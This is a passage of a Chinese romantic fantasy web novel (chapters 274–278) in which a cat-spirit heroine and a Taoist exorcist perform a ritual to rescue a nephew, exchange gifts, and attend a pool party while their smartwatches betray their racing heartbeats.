【金童:……没来,对,对不起,都怪我嘴慢,我只是想告诉你,那几道雷是神君降下的。】 静之实在憋不住不出声了。 “滚!!!” 还回什么二号别墅,她现在就要去那片焦黑的地方看看。 静之甩下作业,从一楼一路冲上楼顶,就连朱九在三楼叫了她一声,她也没应。 整个人跟疯魔了似的。 正在跟朱九告小状的朱鹤一看,他瞬间就急了。 这灵猫不会要跟神君告状吧? 这可使不得啊,他才成仙一百多年,就他身上那点仙力,跟神君比起来,简直是一沤水洼跟大海的区别。 【朱鹤:快跟上她!】 朱九哪里用得着他说,一见到静之那苍白的脸色,早就跟着往上跑了。 …… 静之来到空旷的屋顶,昂着头仔细寻找每一朵金黄色的晚霞。 仿佛要从那飘在空中的云朵后,找到那张熟悉的脸。 随着她的急切寻觅,不知不觉间,她已经来到了左侧后方那块焦黑的地面上。 林风估计只是想小惩朱鹤一下,这地方看着吓人,其实也就是糊了一地黑灰而已。 但是后头赶上来的朱九不知道啊。 他一个箭步上前,把那置身于焦黑中心地带的静之扯出来。 “那里危险,别过去!” 懵懵的静之把视线从空中挪回朱九那张布满担忧的脸上。 眼泪滑落双颊。 仿佛找到了救命稻草,她突然冲进朱九的怀里,死死抱着他。 只有隐隐的肩膀抖动让朱九知道,她这是在无声的哭泣。 他展开双手,别开脸,任她抱着,又是羞,又是担忧。 “你怎么了?” 她用力抱了他一下后,突然放开他,用衬衣袖子胡乱抹两把脸上的泪,对朱九僵硬的扯了扯嘴角。 “我没事,我就是……想家了。” 第274章 天地七星 家? 她家在哪儿,他至今未查到。 她入他别墅第一天,朱九就起卦卜过。 她的来路和前途一片迷茫,这种卦象属实少见,他从道这么多年,从未见过。 也可以说,当初他留下她的原因之一,也是对这个卦象起了兴趣。 “你家在哪儿?”他问。 静之的视线越过眼前的别墅群,落到了远处的海平面上,幽幽回复道: “东坪洲,一个小岛,我家就在那儿。” 东坪洲? 不是港区境内的一个小岛吗? 这么说来,她不是偷渡客了? 朱九暗暗放下了心,都是港区人,那可太好了。 “你别伤心,等豆豆这事儿处理完,我带你回去看看。” “嗯。” 她心不在焉的回复。 她现在已经认清现实了。 第一天她就上网查过,这个世界确实有东坪洲,但是没有一个叫林风的警长。 当然轰动港区的樱花国贩毒案跟午警长自杀案,网上也搜寻不到一点儿资料。 这是个同一时间段的平行世界。 她就算去了,也找不见他人吧。 …… 晚风微凉,两人面对面站了好一会儿,静之悠远的目光依旧落在渐渐变黑的海平面上,久久回不过神。 朱九轻轻拉一下她的衣袖,低声劝道: “这里风大,我们下去吃饭吧?” 静之用一种朱九看不懂的目光,深深的看了他一眼,露出个释然的笑容: “好,去吃饭吧。” 朱九用力掐一下手心的肉回回神,也朝她抿嘴笑了下。 “晚上还吃鱼,会腻吗?” 静之:“不会,我最喜欢吃鱼了!” “嗯,我知道。” “您怎么知道的?” 走到楼梯口的朱九紧了紧手里的栏杆,迟了一秒,才浅笑着解释: “上回喝鱼汤的时候,你多喝了一碗,还有今天中午,你吃得很开心。” 静之有些不好意思的交叉双手握着,“我其实什么都不挑的,就是格外喜欢吃鱼。” 化成灰的林九,棺材板都快压不住了。 这小挑食猫还有脸说,她是真不爱吃菜啊。 …… 吃完饭后,三人一鬼齐聚一堂,坐在一楼客厅处谈事情。 “阿祥呢?” 朱九看了伏在桌上干活的静之一眼,旋即转头问朱八。 静之抬头搜寻一圈,问道: “豆豆呢?怎么没见着她?回隔壁了吗?” 坐在静之沙发椅侧晃腿的少少百无聊赖的卷着头发,“别墅里没人在,我妹妹说要回去把乃猜的犯罪证据带过来,放在这里比较安全。” 朱八跟着说:“是啊,阿祥那小子,前脚一听说豆豆要单独行动,后脚就跟着一起去了。” 朱九扶额,右眼的眼皮开始一跳一跳的。 “叫几个保镖去就好了,他又不会武,胆子又小,跟去只能拖后腿。” 朱八:“二哥,他好歹是你侄子,你嘴下留情。” 朱九轻飘飘的扫了他一眼,“我说的难道不是事实吗?如今要商量一下两天后的博弈,他要是出了意外的话,你上吗?” 朱八疯狂摇头,“阿祥是天地七星,他运气好得很,我不行的。” 静之笔尖微顿,她直起身子,好奇的问朱九:“我早就想问了,你们一直说天地七星,天地七星是什么奇特的命格吗?” 一对上她,朱九那副毒舌冷脸样儿,立马变成了温和浅笑。 “天地七星,顾名思义,就是头顶和脚底都各有七颗痣,俗话说脚踏七星,掌管天下兵,昔日刘邦,就传说是这样的命格。” 静之一双清灵的猫瞳瞪得溜圆,“哇!没看出来嘛,那他以后会当官吗?” “当官?”朱九轻哼一声,轻轻旋着拇指上的扳指,睨了一眼朱八说: “整天混迹各类赌场,他不入棺就不错了。” 朱八缩了缩脖子,靠回沙发上,恨不得就地隐形。 朱九接着说:“他的七星差一些,没有排成北斗七星的模样,不过能保证他吃穿不愁罢了。” 朱九还是太谦虚。 住豪宅,开豪车,出行有保镖跟随,这不是吃穿不愁,这简直就是人生赢家呀。 静之捏紧笔 杆,咬着牙扫视她旁边坐着的两人一鬼,心中暗道: 我跟你们这群有钱人拼了!!! “二叔,姐,我拿到了!” 豆豆穿着一身白色运动装,今日低低扎了个侧编的鱼骨辫,整个人的气质十分青春靓丽。 她摇了摇手中的黑色皮箱,朝少少兴奋一笑。 少少偷偷瞄了一眼朱九,然后飘到豆豆旁边,低声说: “你怎么整个箱子都带来了?里面还有我赢的两百万美金呢,你不怕被抢啊?” 静之耳朵微动,她看着那只黑色皮箱,心里的想法更加坚定。 我跟你们这群有钱人拼了!!!!!! 她辛辛苦苦工作一个月,工资不过万把块上下,这群人谈的都是几百万的生意啊?! 静之抱着侥幸心理,斜过身子偷偷问朱九:“二叔,能透露下,您中午那个急单能赚多少不?” 朱九侧过头,半垂下眸子,温柔的笑看她一眼: “不多,就是帮我朋友家里的别墅驱个鬼而已,友情价20万港币。” 静之拳头彻底硬了。 夺少? 你说夺少?? 她现在学驱鬼还来得及吗? 坐她右边的朱八听到她牙齿咬得咯吱咯吱响,忍不住扬巴起来了。 “你不信?这还真是友情价,来找我二哥的,非富即贵,有钱人更信命,每次我二哥出去一趟,最低都有50万,这次才20万而已,撒撒水啦。” 好好好,好好好好好! 感情这个客厅就她一个真穷鬼。 【金童:静之姐姐,你不穷哒,你要是需要钱,用功德金光换就行,不过要下辈子。】 静之脸上的微笑彻底裂开。 【暴躁到咬牙切齿的小猫:你知道吗?你是个补刀达人。我求求你快闭嘴吧!】 朱八最近老觉得他二哥好像有点不对劲儿,于是他撑着膝盖,把脸伸到静之侧边,尝试性问一句: “你缺钱花啊?要不你跟我二哥在一——呦!” 朱八右手的小指被朱九抓着向后拧,痛得他惊声尖叫,“放手放手!我不问了,要断了!” 朱九哼了一声,用力撒开他。 能用钱买来的爱太过虚假,他朱九不屑要。 “不对啊。”静之突然站了起来,“阿祥呢?阿祥没跟你一起吗?” “没。”豆豆一脸疑惑的摇了摇头,“我一出门就直奔我家了,没看到他车啊。” 静之僵着脖子转头看向朱九,“二叔,我看要糟。” 朱九立马站了起来,沉着脸交代朱八: “随我上楼起坛。” 第275章 他又戴回去了 祭坛前,朱九穿着黄色道袍,一脸严肃。 朱鹤歪在沙发上,晃手晃脚,一点儿没个祖宗样儿。 一身朱红长袍跟昨天的法衣不太一样,这回儿是拖了尾的,又华丽又风骚。 朱九抬脚将朱鹤的大长衣服后摆往旁边捎了捎。 【朱九:……祖师爷,我看您还是回去吧,找人这点小事儿我可以的。】 朱鹤轻抬眼皮,慵懒的扇着手中羽扇。 【回神像里多没意思啊,而且你还没帮我擦干净,脏死了,我才不回去。】 他突然轻挑眉毛,一双凤眸浮出一点惊讶,【你说我碍事?】 朱九眼观鼻鼻观心,【我没说。】 朱鹤羽扇一停,【你在心里说了,我看你胆子真是越来越大了。】 “二叔?还不继续吗?”豆豆看朱九不时瞥向空空的沙发处,不禁感觉全身毛毛的。 【朱九:反正你赶紧回去,不回神像里,就回牌位里去。】 【朱鹤:你可真麻烦,在这坐一会儿都不行,磨磨唧唧的,一点儿都不像我。】 一道橘红色的光闪过,沙发一角变得昏暗,祭坛后头的牌位倒是亮了亮。 静之收回好奇的眼神,专注的看向朱九。 朱九挺了挺腰杆,力求让自己看起来更有魅力。 祖师爷那种妖孽挂的,她应该不喜欢吧? 刚刚看到祖师爷时,她的表都没响。 早上看到他穿衬衣的时候,表响了。 呵,她肯定更喜欢他。 朱九嘴角微微勾起,摇动龟壳卜了个卦。 根据卦象显示,阿祥有惊无险。 原本想用扶乩法将他带回来,没想到对方还挺有两下子的,先是用棺材钉破了阿祥的天地七星,断了他的福运,阿祥摆在神坛上的命牌一下就黯淡了下去。 朱八这回总算是急了,“二哥,快救救他。” “莫急。” 看来他得另寻方法了。 静之突然惊呼一声,“二叔,动了动了,左边这个稻草人又动了!” 只见那个写着阿祥八字的稻草人缓缓从桌上飘了起来,然后翻转一圈,面朝下降落。 “这是要干嘛?”豆豆从来没见过大师做法,她眼都不带眨一下,满脸好奇的盯着那个稻草人。 “对方是要吃童子鸡。” 豆豆:“童子鸡?” 静之:“童子鸡??” 两个人皆是一脸惊讶,毕竟阿祥看起来很会把妹的样子,怎么会还是童子鸡呢? 跟两个女人解释这个事,着实有些为难朱九,他局促的低低嗯了一声。 朱九两手比出剑指,朝向空中的稻草人一指,“起!” 仿佛受到阻碍,稻草人只是上扬了一瞬,便接着往下落。 “臭小子。” 朱九开了天眼,此时与阿祥通感。 他可以清晰看到阿祥悬浮在床上,而底下就是浑身仅靠一条黄色符带遮住敏感部位的妖女。 刚刚不是别的,仅仅只是妖女稍稍对阿祥抛了个媚眼,他就心神动荡,自动往下压了。 朱九变幻手法,从桌上夹起一张符纸叠成长条,遮住稻草人的眼部。 一阵昏黄袭来,阿祥看不见后,果然开始向上浮动。 不过几秒,突然一股吸力把阿祥直直的往下吸。 妖女终于忍不住了。 “好,你硬要上,我就让你上!” 朱九拿起桌上的桃木剑,快速插穿一张驱邪符,点燃符纸后,趁着符未燃尽,他顺手挽了个剑花,连剑带符,狠狠的拍在稻草人背后。 它急剧下落,径直砸向桌面上写着妖女的稻草人。 碰撞之后,两个稻草人轰的一声燃起。 朱八眼疾手快,拿出棍子,将之挑进铁盆里,“二哥,破了术,我去接接那个傻小子吧。” 朱九将道帽摘下,低低嗯了一声。 见朱八往外走,他突然又提一句: “开我的车去,防弹。接到人立刻回来,这两天你们谁都不许擅自出去。” 他指向豆豆,“特别是你,明天该你上课了吧,你要不请假吧。” 豆豆耸了耸肩,“行,我给敏姨打个电话。” “既然没事,那我要回去喽。” 静之环着胸往楼下走,朱九跟着一起下了楼梯。 “您这个点不是应该打坐吗?” 静之边走边看了一眼手表。 现在是晚上7点53分。 来了几天,她都摸清朱九的生活规律了。 5点半吃完饭,休息半小时后,到健身房锻炼一小时或者到院子里练拳一小时,七点准时打坐,8点半洗澡,9点半准时睡觉。 可以说是相当自制的一个人了。 “以后出行,得两人同行,我送你过去就回来。”朱九讲。 静之来到一楼,收拾好客厅桌上的宣纸,刚想提起那袋作业,朱九就先行拿了起来,“走。” “……我有力气。”她手握成拳,朝他秀了秀肱二头肌。 朱九默了一瞬,突然说一句: “你可以试着不那么自立。” 要不试试依靠他一下呢? 静之挑眉,一把夺过他手里的袋子,“您这话可说错了,做人首先要自立自强,才能去干其他事儿。” 她可真犟。 不过说这话的她甚是夺目,朱九眸光微闪,抬脚紧紧跟在她身后。 走到别墅门口,她笑着回头。 两人差点撞上。 他的呼吸甚至擦过她的鼻尖,熨烫了她的侧脸。 静之下意识赶紧后撤一步。 却没想到,后面是3层阶梯,后脚没有踩在实地上,她突然一个后仰。 朱九赶紧伸出手臂箍在她的腰后,把她往回带。 他的手指张得大大的,一点儿也没碰到她的腰,纯纯的绅士手。 两人中间夹着一大捧宣纸,恰到好处的避免了身体相贴的尴尬局面。 扶稳她后,朱九立刻收回手臂,主动后撤一步,“抱歉,是我没看路。” 静之:小场面,莫慌,再亲密的事儿,她都跟他做过呢。 她清浅一笑:“您真不用送了,不过几步路,我自己回去就行啦。” 朱九:“好,那你早点休息。” …… 静之回去后,朱九回到房间脱下道袍。 他知道,他刚刚肯定心跳加速了。 可她的表没响呢,一下都没有。 可他都抱她了…… 可早上他连碰都没碰到她,为什么表响了呢? 女人可真难懂。 朱九打开抽屉,看着那拆下来不久的智能表。 想了许久,他单手松开左手手表的表带,将智能表又戴了回去。 朱九想,他嘴笨的很,不会说什么情话。 但是一旦心动,他希望她能够第一时间知道——他的心,为她而跳。 第276章 爆改朱九 敏姨看着这位又来了的男人,有些不确定的问: “您是说……要买静之老师一年的课啊?” 朱九严肃点头。 “哦。”敏姨拿了个pos机摁了几下,然后放到柜台上,正面对着朱九,“先生您这边刷卡。” 趁着朱九刷卡输密码的时候,敏姨提醒他一句: “今天她休息,您看您这边从明天开始上课可以吗?” 朱九将卡插回钱包里,思索了一下昨晚的作战计划后,对敏姨摇了摇头。 “她说她明天要请个假。明天我跟她来不了,后天豆豆也需要请个假,大后天……应该可以。” 正往回收pos机的敏姨愣住了,她指尖微顿,又抬眼打量了一下眼前的朱九。 今天他的着装又变了,变年轻了。 黑色裤子,白色短t,外面套一件宽松的细条纹衬衫,手腕间的智能表看着莫名眼熟。 看起来比昨天不止年轻了十岁。 不对,那表,不是跟静之戴的是同款吗? 他这是跟静之谈上了? 可豆豆的消息他怎么也知道? 难道三人行? 逐渐歪楼的敏姨差点崩不住脸上的礼貌微笑。 “先生您慢走。” 待朱九出去后,敏姨立马拿起手机拨通了静之的电话。 “嘟……嘟……” 静之坐在副驾驶上,掏出手机一看。 敏姨的。 她侧头问刚上车的朱九,“您刚才没跟她说清楚吗?” 朱九回忆一下刚刚的场景,无辜与她对视,“说的很清楚了,我帮你和豆豆都说了的。” 她半信半疑的摁了一下接听键。 刚把手机放到耳朵边上,敏姨突突突就是一顿输出。 “静之啊,昨天给你带饭的那个男人又来了,他说给你请假,是真的吗?他还给豆豆请假……他跟你……跟豆豆……你们……” 敏姨因为激动,声音有些大。 听着从话筒里漏出来的离谱话语,朱九立马侧过头摆了摆手。 静之竖起手指比在唇间,无声嘘了一下。 “敏姨,你多想了,他是我们的房东,跟我和豆豆清清白白的。” “我和豆豆这两天有点事,估计大后天就能去上课了。” “嗯,真没事儿,没跟他在一起,你放心吧。” 朱九转回头,看向前方的柏油路,嘴唇越抿越紧。 清清白白,没在一起。 那晚,他们明明如此亲密。 他多想告诉她,他们做过了什么。 可说出来,她一定会立马下车逃走吧。 静之挂掉电话后,朝朱九手一摊,“您看,刚刚都说了让我自己出去请假的吧,这回让人误会了。” 朱九:“……不用对我说您。” 静之神情微顿,笑着说了声好。 朱九接着说:“现在是特殊时期,那群人为达目的不择手段,你要注意安全。” 静之边从玻璃窗外打量街上的人,边漫不经心的吐槽一句: “那你也一样呀,前两次那些小混混都是你打跑的,你也要注意安全。” 朱九的心猛的跳动一下。 她这是在关心他吗? 刚刚因为静之的澄清之语黯淡下来的脸色,瞬间明朗了几分。 “好,那我们回去吧。” “二叔。” “嗯?”他疑惑回头。 “咔嚓!” 朱九侧着身子,僵在驾驶座上。 “你……干什么?” 静之朝他秀了秀刚拍的照片。 “难得你今天穿得这么休闲,给你拍一张嘛,当通讯录头像。” “滴!” 手表叫了一声后,朱九红着脸迅速转过头看她的反应。 她听到了吗? 那是他心跳加速的声音。 静之听到了,她抬起头看了看红着脸的朱九,突然轻笑了一声,把手机里面其他人的照片调出来给他看。 “别害羞嘛,这是豆豆的,这是阿祥的,这是三叔的,我都拍啦。” “少少的拍不上,真是可惜,不过没关系,我会永永远远的记住她。” “……哦。” 听到了吗? 这是他的心死掉的声音。 车辆行驶中。 静之偷瞄了朱九一眼,关掉手机声音,暗暗将手机背面对准他,狂按拍摄键。 今天他穿得像个纯情男大。 不拍一下真是对不起她自己。 【警告:内存不足!】 静之拍得正欢,看到这条提示,小猫批脸彻底垮了下来。 真是可惜。 她要努力赚钱,买个内存大一点的手机,然后天天拍他。 不在一起,不得拍几张照片解解馋嘛。 【金童:静之姐姐,什么叫几张照片,您手机显示,他的照片286张,好多都是差不多角度的,要不你删除一些?】 【静之:……关你屁事,收声。】 她才不删。 静之不拍照后,朱九这才暗暗松了口气,把刚刚故意凹好的姿势放松下来。 应该……不会太差吧。 趁着等红灯的时候,他的余光瞄向身侧的女人。 她低着头,专注的在通讯录上捣鼓了半天。 哦,原来她是在改备注名啊。 少少:【B土豪闺蜜请养我】 豆豆:【C活泼可爱小豆豆】 阿祥:【d胆小却运气好的四眼仔】 朱八:【e嗜赌成性我看你明天是不想过了】 那……他呢? 她给他的备注是什么? 还想再看一眼,静之突然扯一下他的袖子提醒,“绿灯了,快走快走,不然后面的司机要发飙了。” “……嗯。” 真是可惜,明明就快改到他的了。 从b开始排列,那她手机里的a是谁呢? 好想看。 其实回家的路上,就只有这个红绿灯,为了多瞅上一眼她改备注名,朱九趁着她低头玩手机的时候,硬生生绕了一段远路。 远远的看到指示灯为绿色,他悄然放慢速度。 灯变红,他嘴角微勾。 车停了。 静之正在打字,但是这回,他却看不到了。 因为静之斜了下手机,他只看到了她的小猫手机壳。 ……嘁,小气的女人,他才不想看。 不对。 她侧边的淡黑色车窗有反光。 朱九眯起双眼,紧盯那亮起的手机屏幕倒影。 朱九:【AAA论严肃道长爆改纯情男大之他到底怎么了】 嗯? 嗯嗯嗯??? 三个A,他是开心的。 这备注名能写这么长的吗? 不对,他是不是跑偏了? 果然,屏幕上显示【字数过多,保存失败。】 朱九眼睁睁的看着她删掉了一些,然后点点头,满意的将新的昵称保存。 朱九:【AAA严肃道长爆改纯情男大】 朱九扶额。 此时他的内心极为复杂。 第277章 否否否! 纯情他知道,“男大”是什么专业名词? 他等会得回去搜索一下。 …… 车内安静了很久,为了缓解一下气氛。 朱九淡笑着将视线落回她的手机壳上。 “这手机壳挺可爱。” 静之唰的抬起头,手里捏着手机举到他侧边,双眼亮晶晶的盯着他。 “是吧是吧,我也觉得可爱。” 这可是她去那间文具店淘了好久才淘到的好货。 摄像头上方盘绕着的白色猫咪,简直跟她的本体一模一样,就是差几条尾巴。 摄像头下方还有几个粉色的小猫爪印。 简直戳中了她的心巴。 静之看了一眼朱九放在两个座位中间小格里的黑色手机,低头在自己包里翻找了一会儿。 “这个送给你!” 空旷的道路上,驰骋在城郊的商务车,车速突然慢了下来。 朱九侧头看了一眼。 是一个手机壳。 背面是一条大大的灰色卡通大狗。 两只竖起的耳朵支得高高的,耳朵尖尖都超出手机范围了,它睁着一双大眼,两只前腿严谨的并在一起,蹲坐得端端正正。 他的手机套上这个东西,会不会太幼稚了? 可…这是她送他的第一个礼物呢。 她打算走出上一段感情了吗? 朱九矜持的转回头开车,“……帮我套上。” 静之瞬间笑眯了眼:“好!!” 他现在跟这只大狗狗可真像。 随着朱九的手表轻微“滴”了一声。 正举着两个手机翻看,笑意妍妍的静之手表也跟着“滴”了一下。 刺耳的刹车声响起。 朱九猛的回头! 她,她也对他心动了吗??? 静之把两个手机放在腿上,捂着表,有些不好意思的朝他笑一下。 “嘿,有人认可我的审美,我可太开心了,小小激动了一下,别误会。” 激动了? 呵。 朱九彻底静音,默默聆听他心碎的声音。 …… 到家后,静之回去了,朱九来到一号别墅一楼的游戏房。 以前这里是阿祥玩电脑游戏的房间,不过现在被征用了。 两台电脑现在24小时打开,实时播放两座别墅屋子前后左右的画面。 阿祥也被征用了。 朱九拍了拍他的肩膀,“你不是喜欢玩电脑吗,这两天你给我盯紧了。” 阿祥脸鼓成了包子。 “二叔……我都看腻了,你不是安了报警器吗?有坏人进来会自动报警的。” 他瞄了一眼一成不变的画面,转过电脑椅扯住朱九的袖子,拿星星眼看着朱九。 “二叔,最近咱们这个片区不是有在社区中心的游泳池,举办一个泳衣派对吗?” “下午去玩玩吧?反正都在小区里。” 撑在他椅背上的朱八忙不迭地点点头,“好啊好啊,好二哥,大战之前你就让我们放松一把嘛~” 朱八嘟嘴卖萌,尽显油腻。 朱九拳头硬了。 “你再做出那副嘴脸,就留下来看家。” 他拿了面镜子递给阿祥,“还有你,去可以,你给我在阳光下待足三个小时。” 阿祥接过镜子一看。 他脸色灰灰黑黑的,跟鬼一样。 “啊?我怎么会变这样?” 朱九翻了个白眼,没好气的问:“昨晚你的脚是不是踩到棺材钉了?” 阿祥撇下镜子,震惊的看着朱九,“你怎么知道?” “你二叔当然知道啦,昨晚要不是他起坛救你,你以为你能这么容易从妖女那里跑出来吗?”朱八抖着腿吐槽。 朱九看着阿祥脚底隐隐冒出的阴气,一脸严肃的说: “等会你找个向阳的地方,脚底板也要晒,什么时候晒够三个小时了,你才准去玩。” 看着背着手走出房间的朱九,阿祥突然欸了一声,“二叔,你去吗?” 朱九脚步微微一顿,头也没回的说: “去,不去看着你,我怕你乱来。” 阿祥跟朱八惊得张大了嘴。 他们这个片区外国人挺多的,朱九从小就不太喜欢外国人,连带着这类派对他也不喜欢。 没想到这次他居然要去?! “可是二叔,你没泳装!”阿祥追到门口喊了一句。 朱九斜他一眼,“我不会叫人送过来吗?” 阿祥耸了耸肩,走过去讪笑着指指隔壁,“我可以邀请豆豆一起吗?” 朱九眸光微顿。 是哦,那……他也一起叫上静之吧。 朱九:“随你,不过你对人家小姑娘客气点,别动手动脚的。” …… 二号别墅。 在床上滚成一团打闹的静之和豆豆,突然各自收到一条短信。 【AAA严肃道长爆改纯情男大:下午社区举办了个派对,在泳池旁,阿祥他们都要去,你去吗?】 【z隔壁死胖子:豆豆,我有这个荣幸邀请你一起参加下午的泳装派对吗?】 豆豆猛的按熄手机,傲娇的撅起嘴巴哼了一声,“我看他居心不良。” 刚说完,就看到静之低着头专注打字。 她扑了过去,伸长了手要抢静之的手机。 静之一个翻身,笑着坐在她腿上,把手机举高高,“别这样,等我回个短信嘛。” 豆豆:“谁给你发的?是不是阿祥?” 静之轻挑细眉,朝底下小脸红润的豆豆神秘一笑,“你猜?” 豆豆环着胸,假装不在意的别过脸看向窗外,“我才不猜。” 话音未落,她一个鲤鱼打挺,“拿来吧你!” 她娇笑着夺过静之的手机,跳到沙发上大声朗读短信。 “AAA严肃道长爆改纯情男大?是二叔吗?二叔邀请你参加派对啊?” 豆豆看着撑着头,侧卧看她的静之,笑得一脸奸诈,“哦~他是不是喜欢你?” “不知道,不重要了。”静之玩着垂落到身前的头发,眼神不自觉的飘向隔壁的窗户。 他今天怎么关窗子了?真是奇怪。 “不重要?怎么会不重要呢?” 豆豆走过去把输入框里静之刚刚打的字指给她看,“说不重要,你干嘛问他去不去?” 静之把身子转了过去,面向墙壁,“问一下嘛,问一下又不要钱。” 她的胳肢窝被戳了一下,豆豆攀着她的肩膀轻声问道: “你是不是喜欢他呀?” “……” 何止是喜欢。 静之叹了口气,朝她摊开手掌,“给我,总要回复人家的,不然不礼貌。” 豆豆啪的一声,轻轻把手机放到她手里,盘着腿说:“我看你就是喜欢他,不然设置AAA干什么?” 静之还在嘴硬,“债主嘛,我提醒我自己每个月都要交房租,设置个AAA很正常的。” 豆豆无语凝噎,她跳回沙发上仰躺着边回复阿祥,边说: “我管不了你,我先回复阿祥吧。” 静之轻轻摁下发送键,问她一句: “那你呢,你去吗?还有,你喜欢阿祥吗?” 豆豆:“去啊,有的玩为什么不去。” “另外一个问题我没办法回答,我才跟阿祥认识几天,怎么能知道喜不喜欢呢。” 也是,他才认识她几天,怎么能说他喜欢她呢? 不可能。 …… 对面的朱九看着店员送来的泳装,有些一言难尽。 “就只有这件了?” 望着店员手中那件桃粉色的短袖衬衣,他不禁打了个哆嗦。 就算是他三岁时,也没穿过这么粉的颜色吧。 店员心里暗暗叫苦,有其他的,不过在楼下被阿祥跟朱八截了。 他们这一家人是要玩儿死他吗? 店员硬着头皮,扯出职业假笑,“是的,这件跟这套女式泳衣,是情侣装,您要是不满意,我再回去拿一些过来给您挑挑?” 朱九把目光挪向店员右手衣架上撑着的女士泳衣。 一样的桃粉色。 上面画着一样图案的可爱涂鸦,布料却稀少得可怜。 “你……这……就没有其他……额……裹得严实一点的衣服吗?” 店员不是很确定的问他一句: “泳衣……不都是这样的吗?” 看着朱九拉得老长的脸,店员为求成单,一个力挽狂澜拿出一件小码的同款衬衫。 “要是怕女伴走光,可以加一件衬衣在外头,您看如何?” 朱九不敢再看那泳衣一眼,别过脸说: “……行吧,你把衣服给二号别墅的静之小姐送去。我的那件给我留下就成。” “咔嗒。” 店员出去后,朱九看着沙发上放着的衣服,抿了抿唇。 算了,情……侣装嘛,他豁出去了。 …… 另外一边,豆豆一脸八卦的倚着门框边上,“我就说吧,他喜欢你,都给你送衣服了。” 在豆豆面前,一向冷静的静之,此时也犯了呆。 这衣服……他是怎么想的? …… 下午一点半。 距离派对开始,还剩半个小时。 心里万分紧张的朱九终于走出了别墅,来到二号别墅门口等待。 脚步声自楼梯口响起,两位娉娉婷婷的身影,渐渐映入朱九的眼帘。 朱九简直挪不开眼。 开高叉的泳装,露出了静之两条肉感匀称的大长腿,掐腰低胸的设计,又露出了她精致的锁骨,和起伏有致的曲线。 同款的t恤被她拎住两个衣摆系在腰间,挡住了背后的半壁风光。 静之也一眼就看到了楼梯底下穿着桃粉色上衣的男人。 这衣服……是情侣装吧? 他什么意思? 他真喜欢她了??? “滴滴滴滴!” “滴滴滴滴滴滴——!!!” 随着快连成一线的滴滴声,机械女声突兀响起: “警告!警告!心跳已超130!请问是否拨打急救电话!” 楼梯上跟楼梯下的两个人纷纷低头,慌乱的摁着表。 “否否否!” “否否否!!!” 一个比一个否得大声。 一旁的豆豆捂着酸痛的肚子,憋笑憋得不行。 “噗……你们两个……这是在身上安炸弹啦?” 第278章 水滑梯 摁掉手表后,两人双双别过脸。 静之羞得直望天:“我,我就是穿得太少,有点害羞,你别多想。” “……嗯。”朱九也直接闹了个大红脸,他轻咳一声,把身子转向大门外,支支吾吾的解释道: “我也是……不是……我……” 豆豆拉着静之来到朱九旁边,调皮的说: “二叔,你也是什么?穿太少也害羞啦?” “?!” 这回朱九终是从头红到了脚后跟。 我我我了半天,索性闭嘴,低头看着脚上的拖鞋。 不听话的视线,突然又被侧边静之穿着她小猫拖鞋的白皙脚丫吸引住了。 她的脚指甲被爱搞怪的豆豆涂得五颜六色,配上她的小猫拖鞋,又添了几分可爱。 朱九挪开视线,想抬手捂住发热的鼻子。 手刚抬到一半,静之的手就被豆豆硬扯着,放到朱九的手弯上。 “你们慢慢走,我去找阿祥跟三叔玩~” “欸,你!” 朱九感受着左手手弯的温度,心都快嗓子眼儿里跳出来了。 豆豆出去后,静之突然收回手,拘谨的往侧边站了一步。 “她走了……我们走吧,别来不及了。” 朱九低着的眸子,突然看到她垂在身侧,那五颜六色的手指甲,不由抿着嘴轻笑一下。 豆豆真是个可爱的好孩子。 “好,走吧。” 她的白色长发被豆豆斜斜的编成宽松的鱼尾辫,放在肩膀一侧。 朱九从椅子上拿了一顶米色的编织帽递给她,“戴上吧,外头太阳大。” 静之接过帽子刚要戴上,就看到朱九也拿了一个大号的同款帽子给自己戴上。 “……” 而且……他脚上的深蓝色印着大狗的拖鞋,跟她脚上穿的,好像也是情侣款吧? 这鞋她是附近超市买的,他也住在这里,应该……是巧合吧? 静之不敢深想。 …… 夏日炎炎,微风轻拂过泳池,泛起微微的涟漪。 穿着热辣的比基尼美女,赤裸着胸膛的男子,都拿着插着一把小伞的酒水,交谈甚欢。 摆成一排的沙滩椅上,一个只穿着沙滩裤,腆着个圆肚子的小胖躺在那儿,分外突兀。 朱八远远的望着晒到皮肤发红的阿祥,忍不住动了动朱八的胳膊: “二哥,我看他都快晒成咸鱼干了,这样有用吗?” “呵,谁叫他抵抗不住诱惑,晒个太阳而已,不会死人的。” 朱九没再理会这两个人,推掉酒保递过来的鸡尾酒,各给自己和他身边的静之端了杯果汁。 “喝点饮料,这里太阳很大,以免中暑。” 静之自从来了泳池旁,就安静得有些过分。 偶尔她和朱九对上视线,都有一种说不清道不明的拉扯感。 奇怪且暧昧的氛围在两人周边萦绕着。 由于他俩穿得跟真情侣似的,倒是没有人过来搭讪。 静之也乐得轻松。 她轻蹬一脚地面,拿着橙汁转过吧椅,嘴里叼着吸管,看着对面的阿祥跟豆豆发呆。 洁白的贝齿轻咬吸管,果汁顺着吸管上升,朱九甚至能够听到她吞咽的声音。 不知何时,他手心冒出汗水。 朱九轻轻眨动两下睫毛,手扶着膝盖,随意扯了个话题。 “我……我买了你的课。” “嗯……”她心不在焉的回复,“我知道呀,你跟我说过了。” “静之,我有……” “啪!!” “阿祥这小子,你可得好好管一管了,这样不行啊。”静之吐出吸管,看着被豆豆扇一巴掌的阿祥,轻轻摇了摇头。 话被打断,朱九一下泄了气。 朱八倒是为阿祥开脱上了。 “阿祥他喜欢豆豆嘛,年轻人都这样。” 静之皱着眉,不甚同意。 “他才认识豆豆几天,没经过她同意就亲人家了,就算再喜欢,也不能这般胡来。” 豆豆跑了过来,阿祥捂着脸紧随其后。 静之:“豆豆你……” 豆豆叉着腰,回头猛瞪一眼阿祥,然后朝静之挥了挥手,“别管我,我去那边泡泡水,热死了。” “哦。” 一男一女又跑远了。 说者无意,听者有心。 朱九到嘴边的告白,又缩了回去。 才认识几天,他这会儿在这种场合跟她告白,好像是太轻浮了。 算了,下次再找机会吧。 “二哥,我看阿祥是没戏了。” 朱八手肘撑着吧台,猛叹气。 朱九轻抿了一口橙汁润润嗓子,这才缓缓跟他解释: “我看过阿祥的命盘,他这辈子姻缘不济,若是错过……” 说到一半,他小心翼翼看了眼静之,发现她正在看前方的水滑梯后,他这才别过脸悄悄跟朱八说: “豆豆有旺夫命,若是豆豆能跟他牵上线,那他还不至于孤独终老。” 朱八问:“什么线?” 朱九朝他招了招手。 “过来点,闭上眼。” 朱八闭上眼睛伸头过去,朱九朝他眼睛上比了几个手势。 “好了,你再看看。” 朱八睁开眼睛,突的在朱九耳朵边小声嘀咕:“怎么人人脚下都有一条线?” 